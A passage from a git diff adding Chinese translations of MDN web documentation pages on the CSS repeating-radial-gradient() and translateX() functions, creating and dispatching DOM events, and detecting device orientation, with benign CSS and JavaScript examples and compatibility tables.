并且采用相同的参数,但是它会在所有方向上重复颜色,以覆盖其整个容器。函数的结果是 {{cssxref("<gradient>")}} 数据类型的对象, 是一种特殊的{{cssxref("<image>")}}类型。</p> + +<pre class="brush: css no-line-numbers notranslate">/* 一个从容器中心点开始的重复渐变, + 从红色开始,渐变到蓝色,再渐变到绿色 */ +repeating-radial-gradient(circle at center, red 0, blue, green 30px); +</pre> + +<p>每次重复时,色标位置的偏移量都是基准渐变长度(最后一个色标和第一个之间的距离)的倍数。因此,最后色标的色值应该与第一个色标的色值保持一致;如果不一致的话,会导致非常突兀的渐变效果。</p> + +<p>与其他渐变一样,线形重复渐变没有提供<a href="https://developer.mozilla.org/en-US/docs/CSS/image#no_intrinsic">固定的尺寸</a>; 即, 它没有原始尺寸或首选尺寸,也没有首选的比列。它将自适应于对应元素的尺寸。</p> + +<div class="note"> +<p><strong>提示:</strong> 因为 <code><gradient></code> 属于<code><image></code> 数据类型,所以只能在可以使用 <code><image></code>的地方使用它们。因此<code>repeating-linear-gradient()</code> 不适用于{{Cssxref("background-color")}} 以及使用{{cssxref("<color>")}} 数据类型的地方。</p> +</div> + +<h2 id="语法">语法</h2> + +<h3 id="值">值</h3> + +<dl> + <dt>{{cssxref("<position>")}}</dt> + <dd><code>position</code>与 {{cssxref("background-position")}} 或者 {{cssxref("transform-origin")}}类似。默认值为 <code>center</code>.</dd> + <dt>{{cssxref("<angle>")}}</dt> + <dd>渐变轴的角度。角度顺时针增加,默认值为<code>0deg</code>。</dd> + <dt>{{cssxref("<shape>")}}</dt> + <dd>渐变的形状。圆形(渐变的形状是一个半径不变的正圆)或椭圆形(轴对称椭圆)。默认值为椭圆。默认值为椭圆形,即 <code>ellipse</code>。</dd> + <dt><code><extent-keyword></code></dt> + <dd>关键字用于描述边缘轮廓的具体位置。以下为关键字常量:</dd> + <dd> + <table class="standard-table"> + <tbody> + <tr> + <th>Keyword</th> + <th>Description</th> + </tr> + <tr> + <td><code>closest-side</code></td> + <td>渐变的边缘形状与容器距离渐变中心点最近的一边相切(圆形)或者至少与距离渐变中心点最近的垂直和水平边相切(椭圆)。</td> + </tr> + <tr> + <td><code>closest-corner</code></td> + <td>渐变的边缘形状与容器距离渐变中心点最近的一个角相交。</td> + </tr> + <tr> + <td><code>farthest-side</code></td> + <td>与 <code>closest-side</code>相反,边缘形状与容器距离渐变中心点最远的一边相切(或最远的垂直和水平边)。</td> + </tr> + <tr> + <td><code>farthest-corner</code></td> + <td>渐变的边缘形状与容器距离渐变中心点最远的一个角相交。</td> + </tr> + </tbody> + </table> + + <div class="note"> + <p><strong>提示:</strong> 早期的草案中还包含其他关键字(<code>cover</code> and <code>contain</code>) ,分别相当于标准关键字 <span class="st"><code>farthest-corner</code></span> 和 <code>closest-side</code>,。但因为在某些实现中丢弃了这些旧的关键字,所以请仅使用标准关键字。</p> + </div> + </dd> + <dt><code><color-stop></code></dt> + <dd>表示某个确定位置的固定色值,包含一个<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/color_value" title="CSS 数据类型 <color> 表示一种标准RGB色彩空间(sRGB color space)的颜色。一种颜色可以用以下任意的方式来描述:"><code><color></code></a>值加上可选的位置值(相对虚拟渐变射线的<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/percentage" title="CSS 数据类型 <percentage> 表述一个百分比值。许多 CSS 属性 可以取百分比值,经常用以根据父对象来确定大小。Percentages are formed by a <number> immediately followed by the percentage sign %. Just as is the case with all other units in CSS, there isn't a space between the '%' and the number."><code><percentage></code></a>或者<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/length" title="是表示距离尺寸的一种css数据格式。它由一个 <number> 后紧随一个长度单位(px,em,pt,in,mm,...)组成。和任何 CSS 尺寸一样,数字和单位之间没有空格。<number> 0之后的长度单位是可选的。"><code><length></code></a>长度值)。 百分比值<code>0%</code>,或者长度值<code>0</code>,表示渐变中心点;百分比值<code>100%</code>表示渐变射线与边缘形状相交的点。 其间的百分比值线性对应渐变射线上的点。</dd> +</dl> + +<h3 id="形式语法">形式语法</h3> + +<pre class="syntaxbox notranslate">repeating-radial-gradient( + [[ circle || <a href="/en-US/docs/CSS/length"><length></a> ] [at <a href="/en-US/docs/Web/CSS/position_value"><position></a>]? , | + [ ellipse || [<a href="/en-US/docs/CSS/length"><length></a> | <a href="/en-US/docs/CSS/percentage"><percentage></a> ]{2}] [at <a href="/en-US/docs/Web/CSS/position_value"><position></a>]? , | + [[ circle | ellipse ] || <extent-keyword> ] [at <a href="/en-US/docs/Web/CSS/position_value"><position></a>]? , | + at <a href="/en-US/docs/Web/CSS/position_value"><position></a> , <color-stop> [ , <color-stop> ]+ ) + \---------------------------------------------------------------/\--------------------------------/ + 定义轮廓、尺寸和结束形状的位置 色标列表 + +where <extent-keyword> = closest-corner | closest-side | farthest-corner | farthest-side + and<code> <color-stop> = <color> [ <percentage> | <length> ]?</code></pre> + +<h2 id="示例">示例</h2> + +<p>径向渐变沿着一条轴线进行渲染。在每个轴线的端点处可以指定一个半径。可以想象为创建了两个“圆”,每个圆的中心位置用点指定,大小由半径值指定。渐变从内圆的圆周向外延伸到外圆的圆周。</p> + +<h3 id="黑白相间的渐变">黑白相间的渐变</h3> + + +<pre class="brush: css notranslate" class="hidden">div { + display: block; + width: 50%; + height: 80px; + border-color: #000000; + padding: 10px; +} +#grad1 { + background: -webkit-repeating-radial-gradient(black, black 5px, white 5px, white 10px); + background: -moz-repeating-radial-gradient(black, black 5px, white 5px, white 10px); + background: -ms-repeating-radial-gradient(black, black 5px, white 5px, white 10px); + background: -o-repeating-radial-gradient(black, black 5px, white 5px, white 10px); + background: repeating-radial-gradient(black, black 5px, white 5px, white 10px); + text-shadow: 1px 1px 0pt black; + color: white; + border: 1px solid black; + height:5.5em; +} +</pre> + +<p>{{EmbedLiveSample('Black_and_white_gradient', '300px', '120px', '')}}</p> + +<pre class="brush: css notranslate">background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);</pre> + +<h3 id="Farthest-corner渐变">Farthest-corner渐变</h3> + + +<pre class="brush: css notranslate" class="hidden">div { + display: block; + width: 50%; + height: 80px; + border-radius: 10px; + border-color: #000000; + padding: 10px; +} +#grad1 { + background: -webkit-repeating-radial-gradient(ellipse farthest-corner, red, black 5%, blue 5%, green 10%); + background: -moz-repeating-radial-gradient(ellipse farthest-corner, red, black 5%, blue 5%, green 10%); + background: -ms-repeating-radial-gradient(ellipse farthest-corner, red, black 5%, blue 5%, green 10%); + background: -o-repeating-radial-gradient(ellipse farthest-corner, red, black 5%, blue 5%, green 10%); + background: repeating-radial-gradient(ellipse farthest-corner, red, black 5%, blue 5%, green 10%); + text-shadow: 1px 1px 0pt blue; + color: white; + border: 1px solid black; + height:5.5em; +} +</pre> + +<p>{{EmbedLiveSample('Farthest-corner', '300px', '120px', '')}}</p> + +<pre class="brush: css notranslate">background: repeating-radial-gradient(ellipse farthest-corner, red, black 5%, blue 5%, green 10%);</pre> + +<h2 id="规格">规格</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">规格</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSS3 Images', '#repeating-gradients', 'repeating-radial-gradient()')}}</td> + <td>{{Spec2('CSS3 Images')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support (on {{cssxref("background")}} and {{cssxref("background-image")}})</td> + <td>10 {{property_prefix("-webkit")}}</td> + <td>{{CompatGeckoDesktop("1.9.2")}}{{property_prefix("-moz")}}<br> + {{CompatGeckoDesktop("16")}}<sup>[1]</sup></td> + <td>10</td> + <td>12 {{property_prefix("-o")}}<br> + 12.5</td> + <td>5.1 {{property_prefix("-webkit")}}</td> + </tr> + <tr> + <td>On {{cssxref("border-image")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop("29")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>On any other property that accept {{cssxref("<image>")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>Interpolation hints (a percent without a color)</td> + <td>40</td> + <td>{{CompatGeckoDesktop("36")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support (on {{cssxref("background")}} and {{cssxref("background-image")}})</td> + <td>4.4</td> + <td>{{CompatGeckoMobile("46")}}</td> + <td>10</td> + <td>12.1</td> + <td>7.1</td> + </tr> + <tr> + <td>On {{cssxref("border-image")}}</td> + <td>{{CompatGeckoMobile("29")}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td>On any other property that accept {{cssxref("<image>")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Before Firefox 36, Gecko didn't apply gradient on the pre-multiplied color space, leading to shade of grey unexpectedly appearing when used with transparency. Since Firefox 42, the prefixed version of gradients can be disabled by setting <code>layout.css.prefixes.gradients</code> to <code>false</code>.</p> + +<p>In addition to the unprefixed support, Gecko 44.0 {{geckoRelease("44.0")}} added support for a <code>-webkit</code> prefixed version of the function for web compatibility reasons behind the preference <code>layout.css.prefixes.webkit</code>, defaulting to <code>false</code>. Since Gecko 49.0 {{geckoRelease("49.0")}} the preference defaults to <code>true</code>.</p> + +<h2 id="参阅:">参阅:</h2> + +<ul> + <li><a href="/en-US/docs/Web/Guide/CSS/Using_CSS_gradients">使用渐变</a></li> + <li>其他渐变方法: {{cssxref("radial-gradient")}}, {{cssxref("linear-gradient")}}, {{cssxref("repeating-linear-gradient")}}</li> +</ul> diff --git a/files/zh-cn/web/css/transform-function/translatex()/index.html b/files/zh-cn/web/css/transform-function/translatex()/index.html new file mode 100644 index 0000000000..c800a6c7eb --- /dev/null +++ b/files/zh-cn/web/css/transform-function/translatex()/index.html @@ -0,0 +1,132 @@ +--- +title: translateX() +slug: Web/CSS/transform-function/translateX() +translation_of: Web/CSS/transform-function/translateX() +tags: + - CSS + - CSS Function + - CSS Transforms + - Function + - Reference +browser-compat: css.types.transform-function.translateX +--- +<div>{{CSSRef}}</div> + +<p>translateX()函数表示在二维平面上水平方向移动元素。 其结果的数据类型是{{cssxref("<transform-function>")}}。</p> + +<p><img src="https://mdn.mozillademos.org/files/3544/transform-functions-translateX_2.png" style="height: 146px; width: 243px;"></p> + +<div class="note"> +<p><strong>注意</strong>: <code>translateX(tx)</code>等同于 <a href="/en-US/docs/Web/CSS/transform-function/translate">translate</a>(tx, 0) 或者 <a href="/en-US/docs/Web/CSS/transform-function/translate3d">translate3d</a>(tx, 0, 0)。</p> +</div> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">translateX(t) +</pre> + +<h3 id="参数">参数</h3> + +<dl> + <dt><code>t</code></dt> + <dt> 代表了向量平移的横坐标长度{{cssxref("<length>")}}。</dt> +</dl> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">ℝ<sup>2</sup>空间中的笛卡尔坐标</th> + <th scope="col">在ℝℙ<sup>2</sup>上的投影坐标</th> + <th scope="col">在ℝ<sup>3</sup>上的笛卡尔坐标</th> + <th scope="col">在ℝℙ<sup>3</sup>上的投影坐标</th> + </tr> + </thead> + <tbody> + <tr> + <td colspan="1" rowspan="2"> + <p>在ℝ<sup>2 </sup>空间中的平移并非线性变化,因此不能表示为笛卡尔坐标矩阵。</p> + </td> + <td> + <p><math> <mfenced><mtable><mtr>1 <mtd>0 </mtd><mtd>t</mtd></mtr></mtable></mfenced></math></p> + + <p><math><mfenced><mtable><mtr><mtd></mtd></mtr><mtr>0 <mtd>1 </mtd><mtd>0</mtd></mtr></mtable></mfenced></math></p> + + <p><math><mfenced><mtable><mtr><mtd></mtd></mtr><mtr><mtd>0 </mtd><mtd>0 </mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></p> + </td> + <td colspan="1" rowspan="2"> + <p><math> <mfenced><mtable><mtr>1 <mtd>0 </mtd><mtd>t</mtd></mtr></mtable></mfenced></math></p> + + <p><math><mfenced><mtable><mtr><mtd></mtd></mtr><mtr>0 <mtd>1 </mtd><mtd>0</mtd></mtr></mtable></mfenced></math></p> + + <p><math><mfenced><mtable><mtr><mtd></mtd></mtr><mtr><mtd>0 </mtd><mtd>0 </mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></p> + </td> + <td colspan="1" rowspan="2"> + <p><math> <mfenced><mtable><mtr>1 <mtd>0 </mtd><mtd>0 </mtd><mtd>t</mtd></mtr></mtable></mfenced></math></p> + + <p><math><mfenced><mtable><mtr><mtd></mtd></mtr><mtr>0 <mtd>1 </mtd><mtd>0 </mtd><mtd>0</mtd></mtr></mtable></mfenced></math></p> + + <p><math><mfenced><mtable><mtr><mtd></mtd></mtr><mtr><mtd>0 </mtd><mtd>0 </mtd><mtd>1 </mtd><mtd>0</mtd></mtr></mtable></mfenced></math></p> + + <p><math><mfenced><mtable><mtr><mtd></mtd></mtr><mtr><mtd>0 </mtd><mtd>0 </mtd><mtd>0 </mtd><mtd>1</mtd></mtr></mtable> </mfenced> </math></p> + </td> + </tr> + <tr> + <td><code>[1 0 0 1 t 0]</code></td> + </tr> + </tbody> +</table> + +<h2 id="示例">示例</h2> + +<h3 id="HTML">HTML</h3> + +<pre class="brush: html"><code><div>Static</div> +<div class="moved">Moved</div> +<div>Static</div></code></pre> + +<h3 id="CSS">CSS</h3> + +<pre class="brush: css"><code>div { + width: 60px; + height: 60px; + background-color: skyblue; +} + +.moved { + transform: translateX(10px); /* 等同于 translate(10px) */ + background-color: pink; +}</code></pre> + +<h3 id="结果">结果</h3> + +<p>{{EmbedLiveSample("Examples", 250, 250)}}</p> + +<h2 id="标准化说明">标准化说明</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">标准</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("CSS3 Transforms", "#funcdef-transform-translatex", "translateX()")}}</td> + <td>{{Spec2("CSS3 Transforms")}}</td> + <td>原始定义</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>请前往数据类型{{cssxref("transform-function")}}的页面以查看兼容性信息。</p> + +<h2 id="参阅">参阅</h2> + +<ul> + <li>{{cssxref("transform")}}</li> + <li>{{cssxref("<transform-function>")}}</li> +</ul> diff --git a/files/zh-cn/web/events/creating_and_triggering_events/index.html b/files/zh-cn/web/events/creating_and_triggering_events/index.html new file mode 100644 index 0000000000..686d6471af --- /dev/null +++ b/files/zh-cn/web/events/creating_and_triggering_events/index.html @@ -0,0 +1,138 @@ +--- +title: 创建和触发 events +slug: Web/Events/Creating_and_triggering_events +translation_of: Web/Events/Creating_and_triggering_events +tags: + - Advanced + - DOM + - Guide + - JavaScript + - NeedsContent + - events +--- +<p>本文演示了如何创建和分派DOM事件。这些事件通常称为<strong>合成事件</strong>,而不是浏览器本身触发的事件。</p> + +<h2 id="创建自定义事件">创建自定义事件</h2> + +<p>Events 可以使用 <a href="/zh/docs/Web/API/Event"><code>Event</code></a> 构造函数创建如下:</p> + +<pre class="brush: js">var event = new Event('build'); + +// Listen for the event. +elem.addEventListener('build', function (e) { ... }, false); + +// Dispatch the event. +elem.dispatchEvent(event);</pre> + +<p>上述代码使用了 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent">EventTarget.dispatchEvent()</a> 方法。</p> + +<p><span style="line-height: 1.5;">绝大多数现代浏览器中都会支持这个构造函数(Internet Explorer 例外)。 要了解更为复杂的方法,可参考下面的 </span><a href="#The_old-fashioned_way" style="line-height: 1.5;" title="#过时的方式">过时的方式</a><span style="line-height: 1.5;"> 一节。</span></p> + +<h3 id="添加自定义数据_–_CustomEvent">添加自定义数据 – CustomEvent()</h3> + +<p>要向事件对象添加更多数据,可以使用 <a href="/zh-CN/docs/Web/API/CustomEvent">CustomEvent</a> 接口,detail 属性可用于传递自定义数据。<br> + 例如,event 可以创建如下:</p> + +<pre class="brush: js">var event = new CustomEvent('build', { 'detail': elem.dataset.time });</pre> + +<p><span style="line-height: 1.5;">下面的代码允许你在事件监听器中访问更多的数据:</span></p> + +<pre class="brush: js">function eventHandler(e) { + log('The time is: ' + e.detail); +} +</pre> + +<h3 id="过时的方式">过时的方式</h3> + +<p>早期的创建事件的方法使用了受Java启发的API。下面展示了一个示例:</p> + +<pre class="brush: js">// Create the event. +var event = document.createEvent('Event'); + +// Define that the event name is 'build'. +event.initEvent('build', true, true); + +// Listen for the event. +document.addEventListener('build', function (e) { + // e.target matches document from above +}, false); + +// target can be any Element or other EventTarget. +document.dispatchEvent(event); +</pre> + +<h3 id="事件冒泡">事件冒泡</h3> + +<p>通常需要从子元素触发事件,并让祖先捕获它:</p> + +<pre class="brush: html"><form> + <textarea></textarea> +</form></pre> + +<pre class="brush: js">const form = document.querySelector('form'); +const textarea = document.querySelector('textarea'); + +// Create a new event, allow bubbling, and provide any data you want to pass to the "details" property +const eventAwesome = new CustomEvent('awesome', { + bubbles: true, + detail: { text: () => textarea.value } +}); + +// The form element listens for the custom "awesome" event and then consoles the output of the passed text() method +form.addEventListener('awesome', e => console.log(e.detail.text())); + +// As the user types, the textarea inside the form dispatches/triggers the event to fire, and uses itself as the starting point +textarea.addEventListener('input', e => e.target.dispatchEvent(eventAwesome));</pre> + +<h3 id="动态创建和派发事件">动态创建和派发事件</h3> + +<p>元素可以侦听尚未创建的事件:</p> + +<pre class="brush: html"><code><form> + <textarea></textarea> +</form></code></pre> + +<pre class="brush: js">const form = document.querySelector('form'); +const textarea = document.querySelector('textarea'); + +form.addEventListener('awesome', e => console.log(e.detail.text())); + +textarea.addEventListener('input', function() { + // Create and dispatch/trigger an event on the fly + // Note: Optionally, we've also leveraged the "function expression" (instead of the "arrow function expression") so "this" will represent the element + this.dispatchEvent(new CustomEvent('awesome', { bubbles: true, detail: { text: () => textarea.value } })) +});</pre> + + + +<h2 id="触发内置事件">触发内置事件</h2> + +<p>下面的例子演示了一个在复选框上点击(click)的模拟(就是说在程序里生成一个click事件),这个模拟点击使用了DOM方法。<a href="http://developer.mozilla.org/samples/domref/dispatchEvent.html">参见这个动态示例</a></p> + +<pre class="brush: js">function simulateClick() { + var event = new MouseEvent('click', { + 'view': window, + 'bubbles': true, + 'cancelable': true + }); + var cb = document.getElementById('checkbox'); + var cancelled = !cb.dispatchEvent(event); + if (cancelled) { + // A handler called preventDefault. + alert("cancelled"); + } else { + // None of the handlers called preventDefault. + alert("not cancelled"); + } +} +</pre> + +<h2 id="Browser_compatibility" name="Browser_compatibility">参见</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent">CustomEvent()</a></li> + <li>{{domxref("document.createEvent()")}}</li> + <li>{{domxref("Event.initEvent()")}}</li> + <li>{{domxref("EventTarget.dispatchEvent()")}}</li> + <li>{{domxref("EventTarget.addEventListener()")}}</li> +</ul> diff --git a/files/zh-cn/web/events/detecting_device_orientation/index.html b/files/zh-cn/web/events/detecting_device_orientation/index.html new file mode 100644 index 0000000000..ba00972351 --- /dev/null +++ b/files/zh-cn/web/events/detecting_device_orientation/index.html @@ -0,0 +1,317 @@ +--- +title: 检测设备方向 +slug: Web/Events/Detecting_device_orientation +translation_of: Web/Events/Detecting_device_orientation +tags: + - API + - Device Orientation + - Intermediate + - Mobile + - Motion + - Orientation + - Reference +--- +<p>{{SeeCompatTable}}</p> + +<p>有越来越多的基于web的设备能够确定它们的方向; 也就是说,它们可以报告数据以指示基于重力方向的方向改变。特别地,手持设备如手机可以利用这些信息以自动旋转屏幕,保持内容直立,当设备旋转至横屏时(宽度大于高度),提供网页内容的横屏视图。</p> + +<p>有两种Javascript事件负责处理设备方向信息。第一种是{{domxref("DeviceOrientationEvent")}},它会在加速度传感器检测到设备在方向上产生变化时触发。通过处理该事件传来的数据信息,让交互式地响应用户移动设备旋转和仰角变化成为可能。</p> + +<p>第二种是{{domxref("DeviceMotionEvent")}},它会在加速度发生改变时触发。跟{{domxref("DeviceOrientationEvent")}}不同,{{domxref("DeviceMotionEvent")}}监听的是相应方向上加速度的变化。传感器通常都具有监听{{domxref("DeviceMotionEvent")}}的能力,包括笔记本中用于保护移动中的存储设备的传感器。{{domxref("DeviceOrientationEvent")}}事件更多见于移动设备中。</p> + +<h2 id="处理方向(orientation)事件">处理方向(<span style="font-size: 2.14285714285714rem;">orientation</span><span style="font-size: 2.14285714285714rem;">)事件</span></h2> + +<p>要接收设备方向变化信息,只需要监听{{ event("deviceorientation") }}事件:</p> + +<div class="blockIndicator note"> +<p><strong>注意:</strong><a href="https://github.com/dorukeker/gyronorm.js">gyronorm.js</a> is a polyfill for normalizing the accelerometer and gyroscope data on mobile devices. This is useful for overcoming some of the differences in device support for device orientation.</p> +</div> + +<pre class="brush: js">window.addEventListener("deviceorientation", handleOrientation, true); +</pre> + +<p>注册完事件监听处理函数后(对应这个例子中的<span style="background-color: rgba(234, 239, 242, 0.247059); font-family: Consolas,Monaco,'Andale Mono',monospace; font-size: 1rem; line-height: 19px; white-space: pre;">handleOrientation</span><span style="line-height: 1.5;">),监听函数会定期地接收到最新的设备方向数据。</span></p> + +<p>方向事件对象中包含四个值:</p> + +<p>{{ domxref("DeviceOrientationEvent.absolute") }}</p> + +<p>{{ domxref("DeviceOrientationEvent.alpha") }}</p> + +<p>{{ domxref("DeviceOrientationEvent.beta") }}</p> + +<p>{{ domxref("DeviceOrientationEvent.gamma") }}</p> + +<p>下面是一个事件处理函数的例子:</p> + +<pre class="brush: js">function handleOrientation(orientData) { + var absolute = orientData.absolute; + var alpha = orientData.alpha; + var beta = orientData.beta; + var gamma = orientData.gamma; + + // Do stuff with the new orientation data +} +</pre> + +<h3 id="相关值解释">相关值解释</h3> + +<p>关于每一个轴的记录值表示的是相对于标准的坐标系,设备在某一个给定轴上的旋转量。<a href="https://developer.mozilla.org/en-US/DOM/Orientation_and_motion_data_explained" style="line-height: 1.5;" title="Orientation and motion data explained">Orientation and motion data explained</a><span style="line-height: 1.5;"> 这篇文章有更详细的描述,下面是对这篇文章的总结。</span></p> + +<ul> + <li>{{ domxref("DeviceOrientationEvent.alpha") }} 表示设备沿z轴上的旋转角度,范围为0~360。</li> + <li>{{ domxref("DeviceOrientationEvent.beta") }} 表示设备在x轴上的旋转角度,范围为-180~180。它描述的是设备由前向后旋转的情况。</li> + <li>{{ domxref("DeviceOrientationEvent.gamma") }} 表示设备在y轴上的旋转角度,范围为-90~90。它描述的是设备由左向右旋转的情况。</li> +</ul> + +<h3 id="例子">例子</h3> + +<p>这个例子会成功运行在支持检测自己方向的设备中的支持{{event("deviceorientation")}} 事件的浏览器中。</p> + +<p>让我们想象一下有一个球在花园<span style="line-height: 1.5;">中:</span></p> + +<pre class="brush: html language-html" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; color: rgb(77, 78, 83);"><code class="language-html" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;"><span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"><</span>div</span> <span class="attr-name token" style="color: #669900;">class</span><span class="attr-value token" style="color: #0077aa;"><span class="punctuation token" style="color: #999999;">=</span><span class="punctuation token" style="color: #999999;">"</span>garden<span class="punctuation token" style="color: #999999;">"</span></span><span class="punctuation token" style="color: #999999;">></span></span> + <span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"><</span>div</span> <span class="attr-name token" style="color: #669900;">class</span><span class="attr-value token" style="color: #0077aa;"><span class="punctuation token" style="color: #999999;">=</span><span class="punctuation token" style="color: #999999;">"</span>ball<span class="punctuation token" style="color: #999999;">"</span></span><span class="punctuation token" style="color: #999999;">></span></span><span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"></</span>div</span><span class="punctuation token" style="color: #999999;">></span></span> +<span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"></</span>div</span><span class="punctuation token" style="color: #999999;">></span></span> + +<span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"><</span>pre</span> <span class="attr-name token" style="color: #669900;">class</span><span class="attr-value token" style="color: #0077aa;"><span class="punctuation token" style="color: #999999;">=</span><span class="punctuation token" style="color: #999999;">"</span>output<span class="punctuation token" style="color: #999999;">"</span></span><span class="punctuation token" style="color: #999999;">></span></span><span class="tag token" style="color: #990055;"><span class="tag token"><span class="punctuation token" style="color: #999999;"></</span>pre</span><span class="punctuation token" style="color: #999999;">></span></span></code></pre> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 19px; background: 0px 0px;"></div> + +<p><span style="line-height: 1.5;">花园只有200px宽(很小对吧),球在中央:</span></p> + +<pre class="brush: css language-css" style="padding: 1em 0px 1em 30px; font-size: 14px; white-space: normal; color: rgb(77, 78, 83);"><code class="language-css" style="font-family: Consolas, Monaco, 'Andale Mono', monospace; direction: ltr; white-space: pre;"><span class="selector token" style="color: #669900;">.garden </span><span class="punctuation token" style="color: #999999;">{</span> + <span class="property token" style="color: #990055;">position</span><span class="punctuation token" style="color: #999999;">:</span> relative<span class="punctuation token" style="color: #999999;">;</span> + <span class="property token" style="color: #990055;">width</span> <span class="punctuation token" style="color: #999999;">:</span> 200px<span class="punctuation token" style="color: #999999;">;</span> + <span class="property token" style="color: #990055;">height</span><span class="punctuation token" style="color: #999999;">:</span> 200px<span class="punctuation token" style="color: #999999;">;</span> + <span class="property token" style="color: #990055;">border</span><span class="punctuation token" style="color: #999999;">:</span> 5px solid #CCC<span class="punctuation token" style="color: #999999;">;</span> + <span class="property token" style="color: #990055;">border-radius</span><span class="punctuation token" style="color: #999999;">:</span> 10px<span class="punctuation token" style="color: #999999;">;</span> +<span class="punctuation token" style="color: #999999;">}</span> + +<span class="selector token" style="color: #669900;">.ball </span><span class="punctuation token" style="color: #999999;">{</span> + <span class="property token" style="color: #990055;">position</span><span class="punctuation token" style="color: #999999;">:</span> absolute<span class="punctuation token" style="color: #999999;">;</span> + <span class="property token" style="color: #990055;">top</span> <span class="punctuation token" style="color: #999999;">:</span> 90px<span class="punctuation token" style="color: #999999;">;</span> + <span class="property token" style="color: #990055;">left</span> <span class="punctuation token" style="color: #999999;">:</span> 90px<span class="punctuation token" style="color: #999999;">;</span> + <span class="property token" style="color: #990055;">width</span> <span class="punctuation token" style="color: #999999;">:</span> 20px<span class="punctuation token" style="color: #999999;">;</span> + <span class="property token" style="color: #990055;">height</span><span class="punctuation token" style="color: #999999;">:</span> 20px<span class="punctuation token" style="color: #999999;">;</span> + <span class="property token" style="color: #990055;">background</span><span class="punctuation token" style="color: #999999;">:</span> green<span class="punctuation token" style="color: #999999;">;</span> + <span class="property token" style="color: #990055;">border-radius</span><span class="punctuation token" style="color: #999999;">:</span> 100%<span class="punctuation token" style="color: #999999;">;</span> +<span class="punctuation token" style="color: #999999;">}</span></code></pre> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 0px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 19px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 38px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 57px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 76px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 95px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 114px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 133px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 152px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 171px; background: 0px 0px;"></div> + +<div class="line-number" style="margin-top: 1em; position: absolute; left: 0px; right: 0px; line-height: inherit; top: 190px; background: 